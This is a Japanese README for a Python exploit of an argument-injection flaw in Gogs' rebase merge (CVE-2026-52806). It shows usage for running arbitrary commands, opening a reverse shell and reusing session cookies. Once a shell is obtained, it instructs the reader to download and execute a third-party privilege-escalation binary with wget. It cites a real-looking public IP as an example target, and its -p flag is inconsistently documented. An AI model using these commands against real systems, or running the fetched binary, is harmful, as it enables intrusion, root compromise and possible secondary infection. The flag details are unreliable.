
Gogs の git rebase における引数インジェクションによる RCE (CWE-88) — Python PoC。CVE-2026-52806
git rebase における引数インジェクション (CWE-88)プルリクエストのマージフローにおける引数インジェクションを介した、Gogs (<= 0.14.2 および 0.15.0+dev) に対する認証済みリモートコード実行。
CVE-2026-52806
internal/database/pull.go の Merge() 関数は、PR のベースブランチ名を -- セパレータなしで git rebase に渡します。--exec=<COMMAND> という名前のブランチは、位置引数ではなく Git によって --exec フラグとして解析され、リベース中に再生された各コミットの後に sh -c <COMMAND> が実行されます。
?v= パラメータでバージョンを特定し、ユーザー登録がオープンか、CAPTCHA 保護付きか、無効かを確認します。-u <username> -pw <password> を指定して再実行するようユーザーに伝えるメッセージを出力します。Basic 認証または Web 設定ページを介して API トークンを作成します。master ブランチfeature-* ブランチ--exec=sh${IFS}.payload という名前の悪意のあるブランチ--exec= ブランチへの PR を開きます。merge_style=rebase_before_merging を指定してマージエンドポイントに POST します。Gogs は内部で git rebase --exec=sh${IFS}.payload を実行し、再生された各コミットの後にペイロードを実行します。requests (pip install requests)git インストールpython3 gogs.py <target> [options]
python3 gogs.py http://target:3000 --preflight-only
結果:
Registration: ENABLED (no captcha) — 自動登録が可能Registration: ENABLED (CAPTCHA DETECTED) — ターゲットのサインアップページで手動でアカウントを作成し、-u / -pw で認証情報を指定するRegistration: DISABLED — 管理者から既存の認証情報を入手する必要がある# Auto-register + run a command
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"
# Existing account
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --cmd "whoami"
# Reverse shell
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444
# Captcha enabled: create account on target's signup page, then use creds
python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "id"
# If login with creds fails, pass the session cookie directly
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"
ターゲット上でシェルを取得したら、Gogs プロセスは通常、低権限ユーザー (例: Docker 内の git) として実行されます。root への権限昇格を試みるには、プロジェクトのリリースページから lpe-toolkit バイナリをダウンロードして実行します:
# From your shell session:
wget https://github.com/portbuster1337/lpe-toolkit/releases/latest/download/lpe-toolkit-linux-amd64
chmod +x lpe-toolkit-linux-amd64
./lpe-toolkit-linux-amd64
このツールキットは、カーネルエクスプロイト、設定ミス、その他の一般的な権限昇格ベクトルを列挙します。
exploit/multi/http/gogs_rebase_rce (PR #21515)qf6p-p7ww-cwr9 (gogs/gogs)この Python PoC は、公開された Metasploit モジュールに触発されたものです。この脆弱性は、Rapid7 の Jonah Burgess (CryptoCat) によって発見され、責任を持って開示されました。
このツールは教育目的および認可されたセキュリティテスト専用に提供されています。所有していない、またはテストする明示的な許可を得ていないシステムに対する不正使用は違法です。作者は、本ソフトウェアによって引き起こされた誤用または損害について一切の責任を負いません。
Gogs API はトークンの削除をサポートしていないため、エクスプロイト中に作成された API アクセストークンは残り続け、ターゲットインスタンスの /user/settings/applications で手動で削除する必要があります。
| Flag | 説明 |
|---|
target | ホスト[:ポート] (例: 47.109.58.140:9000) |
-p, --port | HTTP ポート (デフォルト: 3000) |
-u, --username | Gogs ユーザー名 |
-pw, --password | Gogs パスワード |
--cookie | セッション Cookie 文字列 |
--cmd | ターゲット上で実行するコマンド |
--listener | リバースシェル host:port |
--lhost / --lport | リバースシェルのホストとポート |
--ssl | HTTPS を使用 |
--preflight-only | 事前確認のみ実行 |